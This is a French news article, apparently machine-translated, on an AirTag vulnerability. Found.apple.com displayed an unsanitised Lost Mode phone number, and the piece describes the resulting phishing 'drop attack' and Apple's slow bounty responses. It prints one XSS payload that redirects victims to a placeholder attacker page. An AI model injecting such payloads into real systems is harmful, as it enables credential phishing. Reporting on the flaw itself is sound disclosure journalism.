Les succès continuent d’arriver au programme de bug-bounty d’Apple, qui, selon les chercheurs en sécurité, est lent et incohérent pour répondre à ses rapports de vulnérabilité.
Cette fois, le vuln du jour est dû à l’échec de la désinfection d’un champ de saisie utilisateur, en particulier le champ de numéro de téléphone que les propriétaires d’AirTag utilisent pour identifier leurs appareils perdus.
L’attaque du bon samaritain
Le consultant en sécurité et testeur d’intrusion Bobby Rauch a découvert qu’Apple AirTags— de minuscules appareils qui peuvent être apposés sur des objets fréquemment perdus comme des ordinateurs portables, des téléphones ou des clés de voiture — ne désinfectent pas les entrées de l’utilisateur. Cet oubli ouvre la porte à l’utilisation des AirTags dans un attaque de chute. Au lieu d’ensemencer le parking d’une cible avec des clés USB chargées de logiciels malveillants, un attaquant peut déposer un AirTag préparé de manière malveillante.
Ce type d’attaque ne nécessite pas beaucoup de savoir-faire technologique – l’attaquant tape simplement un XSS valide dans le champ du numéro de téléphone de l’AirTag, puis met l’AirTag en mode Perdu et le dépose quelque part où la cible est susceptible de le trouver. En théorie, l’analyse d’un AirTag perdu est une action sûre – elle est uniquement censée afficher une page Web à l’adresse https://found.apple.com/. Le problème est que found.apple.com intègre ensuite le contenu du champ du numéro de téléphone dans le site Web tel qu’il est affiché sur le navigateur de la victime, non nettoyé.
Le moyen le plus évident d’exploiter cette vulnérabilité, selon Rauch, consiste à utiliser un simple XSS pour afficher une fausse boîte de dialogue de connexion iCloud sur le téléphone de la victime. Cela ne prend pas du tout beaucoup de code :
<script>window.location='https://path/to/badsite.tld/page.html';var a="";</script>Si found.apple.com intègre innocemment le XSS ci-dessus dans la réponse pour un AirTag scanné, la victime obtient une fenêtre contextuelle qui affiche le contenu de badside.tld/page.html. Il peut s’agir d’un exploit zero-day pour le navigateur ou simplement d’une boîte de dialogue de phishing. Rauch émet l’hypothèse d’une fausse boîte de dialogue de connexion iCloud, qui peut ressembler à la vraie chose, mais qui vide les informations d’identification Apple de la victime sur le serveur de la cible à la place.
Bien qu’il s’agisse d’un exploit convaincant, ce n’est en aucun cas le seul disponible – à peu près tout ce que vous pouvez faire avec une page Web est sur la table et disponible. Cela va du simple hameçonnage, comme le montre l’exemple ci-dessus, à l’exposition du téléphone de la victime à une vulnérabilité de navigateur sans clic zéro jour.
Des détails plus techniques et des vidéos simples affichant à la fois la vulnérabilité et l’activité réseau engendrée par l’exploit de Rauch de la vulnérabilité sont disponibles sur le site public de Rauch. divulgation sur Moyen.
Cette divulgation publique présentée par Apple
Selon les rapports de Krebs sur la sécurité, Rauch divulgue publiquement la vulnérabilité en grande partie due à des échecs de communication d’Apple – un de plus en plus commun refrain.
Rauch a déclaré à Krebs qu’il avait initialement divulgué la vulnérabilité en privé à Apple le 20 juin, mais pendant trois mois, tout ce que la société lui a dit, c’est qu’elle « enquêtait toujours ». C’est une réponse étrange pour ce qui semble être un bogue extrêmement simple à vérifier et à atténuer. Jeudi dernier, Apple a envoyé un e-mail à Rauch pour lui dire que la faiblesse serait corrigée dans une prochaine mise à jour, et il lui a demandé de ne pas en parler publiquement entre-temps.
Apple n’a jamais répondu aux questions de base posées par Rauch, telles que s’il avait un calendrier pour corriger le bogue, s’il prévoyait de le créditer pour le rapport et s’il serait admissible à une prime. Le manque de communication de Cupertino a poussé Rauch à partir Publique sur Medium, malgré le fait qu’Apple demande aux chercheurs de garder le silence sur leurs découvertes s’ils veulent un crédit et/ou une compensation pour leur travail.
Rauch a exprimé sa volonté de travailler avec Apple, mais a demandé à la société de « fournir des détails sur le moment où vous prévoyez de remédier à cela, et s’il y aurait une reconnaissance ou un paiement de prime de bogue ». Il a également averti la société qu’il prévoyait de publier dans 90 jours. Rauch dit que la réponse d’Apple était « essentiellement, nous vous serions reconnaissants si vous ne le divulguiez pas ».
Nous avons contacté Apple pour commentaires et nous mettrons à jour ici avec toute réponse.
Source link
